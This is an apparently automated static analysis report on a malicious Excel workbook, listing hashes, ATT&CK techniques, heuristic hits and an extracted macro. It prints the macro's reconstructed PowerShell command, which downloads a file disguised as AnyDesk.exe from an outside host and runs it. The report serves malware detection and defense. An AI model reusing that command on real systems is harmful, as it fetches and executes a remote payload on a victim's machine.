Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 fc8565740bc47221…

MALICIOUS

Office (OLE) / .XLS

73.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: 7d8b10b0fdc275fa08e824d83945f633 SHA-1: 462bef66c0bcd67446ee516f78ada3a6780009bd SHA-256: fc8565740bc47221ef878d70028af6a71f5aaa842b1b29c20977192060635a53
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment T1059.005 Visual Basic

The Workbook_Open macro is designed to execute PowerShell commands. It constructs a command string that includes a URL to download a file named AnyDesk.exe and saves it as weekshe.exe in the public documents directory. The macro then attempts to execute this downloaded file. The reconstructed command is: powershell -w hi sleep -Se 31;Start-BitsTransfer -Source http://thepunchlineexpose.com/Manager/AnyDesk.exe -Destination C:\Users\Public\Documents\weekshe.exe;C:\Users\Public\Documents\weekshe.exe. This indicates a downloader pattern aiming to execute a second-stage payload.

Heuristics 5

  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
d5387914e198af7231991211bf5d0f562a3477459899e11bf62650de3f4f0162
vba-macro oletools.olevba.extract_macros (decoded VBA source) 1170 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.